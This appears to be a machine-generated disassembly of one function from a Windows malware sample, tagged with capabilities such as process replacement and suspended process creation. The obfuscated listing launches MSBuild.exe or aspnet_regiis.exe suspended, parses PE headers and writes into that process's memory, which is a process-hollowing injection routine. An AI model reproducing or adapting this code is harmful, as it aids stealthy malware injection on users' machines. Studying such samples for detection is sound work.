Function at 0x100035a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x118
mov eax, dword [0x1003a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x120], 0x90af13d9
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
sub eax, 0x80345f52
je 0x1000940e
jmp 0x100035dc
mov eax, dword [ebp - 0x124]
sub eax, 0x812774cb
je 0x1000954a
jmp 0x100035f2
mov eax, dword [ebp - 0x124]
sub eax, 0x8371a06d
je 0x1000af01
jmp 0x10003608
mov eax, dword [ebp - 0x124]
sub eax, 0x846e37b6
je 0x100064af
jmp 0x1000361e
mov eax, dword [ebp - 0x124]
sub eax, 0x8473ef3e
je 0x10006553
jmp 0x10003634
mov eax, dword [ebp - 0x124]
sub eax, 0x85a129ec
je 0x10009ed6
jmp 0x1000364a
mov eax, dword [ebp - 0x124]
sub eax, 0x862763bd
je 0x10009367
jmp 0x10003660
mov eax, dword [ebp - 0x124]
sub eax, 0x86750348
je 0x1000b2a0
jmp 0x10003676
mov eax, dword [ebp - 0x124]
sub eax, 0x8695c362
je 0x10008866
jmp 0x1000368c
mov eax, dword [ebp - 0x124]
sub eax, 0x8778e170
je 0x10008dc6
jmp 0x100036a2
mov eax, dword [ebp - 0x124]
sub eax, 0x8876dc5f
je 0x100081d5
jmp 0x100036b8
mov eax, dword [ebp - 0x124]
sub eax, 0x8877a0fb
je 0x100071a8
jmp 0x100036ce
mov eax, dword [ebp - 0x124]
sub eax, 0x89a64a4f
je 0x10007b04
jmp 0x100036e4
mov eax, dword [ebp - 0x124]
sub eax, 0x8a02ded1
je 0x1000af22
jmp 0x100036fa
mov eax, dword [ebp - 0x124]
sub eax, 0x8a7fbd94
je 0x1000b090
jmp 0x10003710
mov eax, dword [ebp - 0x124]
sub eax, 0x8ac2560e
je 0x10008815
jmp 0x10003726
mov eax, dword [ebp - 0x124]
sub eax, 0x8b2e68c2
je 0x1000b018
jmp 0x1000373c
mov eax, dword [ebp - 0x124]
sub eax, 0x8be55288
je 0x10009802
jmp 0x10003752
mov eax, dword [ebp - 0x124]
sub eax, 0x8bf780e5
je 0x1000acac
jmp 0x10003768
mov eax, dword [ebp - 0x124]
sub eax, 0x8c33dd94
je 0x10006e5f
jmp 0x1000377e
mov eax, dword [ebp - 0x124]
sub eax, 0x8c3db615
je 0x1000aadd
jmp 0x10003794
mov eax, dword [ebp - 0x124]
sub eax, 0x8c86fbbd
je 0x10008c3a
jmp 0x100037aa
mov eax, dword [ebp - 0x124]
sub eax, 0x8de56118
je 0x10008bcc
jmp 0x100037c0
mov eax, dword [ebp - 0x124]
sub eax, 0x8e0157ea
je 0x10008d16
jmp 0x100037d6
mov eax, dword [ebp - 0x124]
sub eax, 0x8e126b94
je 0x10005d84
jmp 0x100037ec
mov eax, dword [ebp - 0x124]
sub eax, 0x8e183ae2
je 0x10006220
jmp 0x10003802
mov eax, dword [ebp - 0x124]
sub eax, 0x8e372413
je 0x10009255
jmp 0x10003818
mov eax, dword [ebp - 0x124]
sub eax, 0x8f3a7aaa
je 0x10008235
jmp 0x1000382e
mov eax, dword [ebp - 0x124]
sub eax, 0x8f445ab1
je 0x10005b9f
jmp 0x10003844
mov eax, dword [ebp - 0x124]
sub eax, 0x8f55ba99
je 0x1000b2af
jmp 0x1000385a
mov eax, dword [ebp - 0x124]
sub eax, 0x8f6452b5
je 0x100085bb
jmp 0x10003870
mov eax, dword [ebp - 0x124]
sub eax, 0x8f8b239b
je 0x10009aa6
jmp 0x10003886
mov eax, dword [ebp - 0x124]
sub eax, 0x90af13d9
je 0x10005907
jmp 0x1000389c
mov eax, dword [ebp - 0x124]
sub eax, 0x91268a04
je 0x1000ac7d
jmp 0x100038b2
mov eax, dword [ebp - 0x124]
sub eax, 0x91f0ad15
je 0x100060a9
jmp 0x100038c8
mov eax, dword [ebp - 0x124]
sub eax, 0x92526b58
je 0x10007bf5
jmp 0x100038de
mov eax, dword [ebp - 0x124]
sub eax, 0x94105053
je 0x1000ad09
jmp 0x100038f4
mov eax, dword [ebp - 0x124]
sub eax, 0x9570902b
je 0x1000a292
jmp 0x1000390a
mov eax, dword [ebp - 0x124]
sub eax, 0x95b2ac17
je 0x1000915a
jmp 0x10003920
mov eax, dword [ebp - 0x124]
sub eax, 0x95d4a05f
je 0x10006f8c
jmp 0x10003936
mov eax, dword [ebp - 0x124]
sub eax, 0x963628a8
je 0x10008ace
jmp 0x1000394c
mov eax, dword [ebp - 0x124]
sub eax, 0x96fe68a5
je 0x100088d0
jmp 0x10003962
mov eax, dword [ebp - 0x124]
sub eax, 0x97097d51
je 0x1000a0b5
jmp 0x10003978
mov eax, dword [ebp - 0x124]
sub eax, 0x97b60733
je 0x1000aabf
jmp 0x1000398e
mov eax, dword [ebp - 0x124]
sub eax, 0x994eb8d0
je 0x10007e57
jmp 0x100039a4
mov eax, dword [ebp - 0x124]
sub eax, 0x9af1f52c
je 0x10008d66
jmp 0x100039ba
mov eax, dword [ebp - 0x124]
sub eax, 0x9b2c5173
je 0x1000a832
jmp 0x100039d0
mov eax, dword [ebp - 0x124]
sub eax, 0x9b38f74d
je 0x1000a5a7
jmp 0x100039e6
mov eax, dword [ebp - 0x124]
sub eax, 0x9b473e01
je 0x100063bd
jmp 0x100039fc
mov eax, dword [ebp - 0x124]
sub eax, 0x9be66947
je 0x1000842c
jmp 0x10003a12
mov eax, dword [ebp - 0x124]
sub eax, 0x9cb13d24
je 0x1000a462
jmp 0x10003a28
mov eax, dword [ebp - 0x124]
sub eax, 0x9ce8b7c1
je 0x1000a2ea
jmp 0x10003a3e
mov eax, dword [ebp - 0x124]
sub eax, 0x9d2b58a7
je 0x1000a6dd
jmp 0x10003a54
mov eax, dword [ebp - 0x124]
sub eax, 0x9db29639
je 0x10006e40
jmp 0x10003a6a
mov eax, dword [ebp - 0x124]
sub eax, 0x9f29e375
je 0x10007613
jmp 0x10003a80
mov eax, dword [ebp - 0x124]
sub eax, 0x9f61558a
je 0x1000ad9c
jmp 0x10003a96
mov eax, dword [ebp - 0x124]
sub eax, 0x9f678278
je 0x100094ea
jmp 0x10003aac
mov eax, dword [ebp - 0x124]
sub eax, 0x9fda8195
je 0x100071e6
jmp 0x10003ac2
mov eax, dword [ebp - 0x124]
sub eax, 0xa19c028b
je 0x1000758a
jmp 0x10003ad8
mov eax, dword [ebp - 0x124]
sub eax, 0xa1c20d86
je 0x1000781c
jmp 0x10003aee
mov eax, dword [ebp - 0x124]
sub eax, 0xa2465608
je 0x1000b34d
jmp 0x10003b04
mov eax, dword [ebp - 0x124]
sub eax, 0xa2d335f1
je 0x100091ab
jmp 0x10003b1a
mov eax, dword [ebp - 0x124]
sub eax, 0xa37d26d6
je 0x1000a94d
jmp 0x10003b30
mov eax, dword [ebp - 0x124]
sub eax, 0xa3866149
je 0x1000adfc
jmp 0x10003b46
mov eax, dword [ebp - 0x124]
sub eax, 0xa3a04596
je 0x100069fc
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xec], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x120], 0xf6920f08
jmp 0x1000b39c
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0xcde1e7a5
sub edx, 1
sub edx, 0xcde1e7a5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x97b60733
mov ecx, 0xaca617b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb2192688
mov ecx, 0xaac57262
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
movss xmm0, dword [0x10018390]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1001838c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x120], 0xb4f5e6db
jmp 0x1000b39c
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x10018378]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x10018374]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x120], 0xd0aa8854
jmp 0x1000b39c
movss xmm0, dword [0x10018368]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x120], 0x5d7739e3
jmp 0x1000b39c
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xb3a532af
sub edx, 1
add edx, 0xb3a532af
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x78850784
mov ecx, 0x53503fa1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0xf4bd11d3
sub edx, 1
sub edx, 0xf4bd11d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe05604f6
mov ecx, 0x2ed4cd11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
movss xmm0, dword [0x10018320]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x120], 0x8c33dd94
jmp 0x1000b39c
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x6b238525
sub edx, 1
add edx, 0x6b238525
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4ecbd64b
mov ecx, 0x1a2017ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x114], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xfcdc081f
sub edx, 1
add edx, 0xfcdc081f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xad312fef
mov ecx, 0x36fe9dc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
movss xmm0, dword [0x10018308]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x120], 0x49453ac6
jmp 0x1000b39c
movss xmm0, dword [0x10018300]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x120], 0xcb5bf8e0
jmp 0x1000b39c
mov dword [ebp - 0x120], 0x3a8642c9
jmp 0x1000b39c
movss xmm0, dword [0x100182c4]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x120], 0xfb02f497
jmp 0x1000b39c
movss xmm0, dword [0x100182b8]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x120], 0xcf7e5dc1
jmp 0x1000b39c
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100182a8]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0x5348cd42
jmp 0x1000b39c
mov dword [ebp - 0x120], 0xd44b7c78
jmp 0x1000b39c
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100181c4]
movss dword [eax], xmm0
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x1a005cac
sub edx, 1
add edx, 0x1a005cac
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ceb147f
mov ecx, 0x507b5d1e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov dword [ebp - 0x120], 0x25e8f5c1
jmp 0x1000b39c
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100181bc]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0x6554696
sub edx, 1
sub edx, 0x6554696
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x265b531d
mov ecx, 0xaf62cda0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov dl, 1
mov eax, 0xe8240ca9
mov ecx, 0x2f385c0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov dword [ebp - 0x120], 0x26101680
jmp 0x1000b39c
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x2de5b8e2
sub edx, 1
add edx, 0x2de5b8e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5844b6a0
mov ecx, 0x8695c362
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181ac]
movss dword [eax], xmm0
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5844b6a0
mov ecx, 0x223e3af8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6fd4c689
mov ecx, 0xc8216aaa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x6fc8ff04
sub edx, 1
add edx, 0x6fc8ff04
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8a02ded1
mov ecx, 0xd4711a42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov dword [ebp - 0x120], 0xe7bf1d57
jmp 0x1000b39c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018238]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0x5511667c
jmp 0x1000b39c
mov dl, 1
mov eax, 0xca6e0299
mov ecx, 0x158ad96b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov dword [ebp - 0x120], 0xca6e0299
jmp 0x1000b39c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018198]
movss dword [eax], xmm0
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x9fc1c136
sub edx, 1
sub edx, 0x9fc1c136
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfb650353
mov ecx, 0xaea950e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0xd0cf2aa7
sub edx, 1
sub edx, 0xd0cf2aa7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2a98d215
mov ecx, 0xa2d335f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x9c]
add ecx, 0x15afa0dc
add ecx, eax
sub ecx, 0x15afa0dc
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0x95], al
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2a98d215
mov ecx, 0x418d3622
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8b2e68c2
mov ecx, 0xef3ad2a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov eax, dword [ebp - 0xe0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dl, byte [eax]
mov eax, 0xd540507b
mov ecx, 0x812774cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov eax, dword [ebp - 0xe0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8a7fbd94
mov ecx, 0x3ea8164b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x55025b2c
sub edx, 1
sub edx, 0x55025b2c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe99d1c8e
mov ecx, 0x2c1903e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xe8]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x120], 0xa6eb9a54
jmp 0x1000b39c
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x120], 0xa5dbfd7c
jmp 0x1000b39c
mov dword [ebp - 0x120], 0x5d81d118
jmp 0x1000b39c
mov ecx, dword [ebp - 0x50]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x120], 0x45081232
jmp 0x1000b39c
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8f55ba99
mov ecx, 0x1b3e866b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov dword [ebp - 0x120], 0x31c6e36e
jmp 0x1000b39c
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x1db6a1f9
sub edx, 1
sub edx, 0x1db6a1f9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x29e84edc
mov ecx, 0x480861ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0xfe4d8c26
sub edx, 1
sub edx, 0xfe4d8c26
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1a92b46a
mov ecx, 0x73e543f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add ecx, 0xadd43e1f
add ecx, eax
sub ecx, 0xadd43e1f
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xac]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
add ecx, 0x90544999
add ecx, eax
sub ecx, 0x90544999
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x9d2b58a7
mov ecx, 0xc4af3338
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov dword [ebp - 0x120], 0x1ca11c44
jmp 0x1000b39c
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
add ecx, 0x98f1b7
add ecx, 8
sub ecx, 0x98f1b7
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x120], 0x2ecd6d98
jmp 0x1000b39c
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0x3c4cc7b0
sub edx, 1
sub edx, 0x3c4cc7b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfe72220
mov ecx, 0xf34d0686
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b39c
mov dword [ebp - 0x120], 0xaca617b1
jmp 0x1000b39c
movss xmm0, dword [0x10018220]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x120], 0x2c6ac552
jmp 0x1000b39c
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x100181f0]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x120], 0x7cbca27
jmp 0x1000b39c
movss xmm0, dword [0x100181ec]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x120], 0xc9f03c11
jmp 0x1000b39c
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x120], 0xd885e372
jmp 0x1000b39c
mov dword [ebp - 0x120], 0x118fe289
jmp 0x1000b39c
mov dword [ebp - 0x120], 0xd4bfc8e9
jmp 0x1000b39c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181a4]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0xbaa59e3e
jmp 0x1000b39c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181a0]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0xd4711a42
jmp 0x1000b39c
mov eax, dword [ebp - 0xec]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000c6d0
add esp, 0xc
mov eax, dword [ebp - 0xe8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000c6d0
add esp, 0xc
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xe4]
mov byte [eax], cl
mov dword [ebp - 0x120], 0xef3ad2a6
jmp 0x1000b39c
mov eax, dword [ebp - 0xe0]
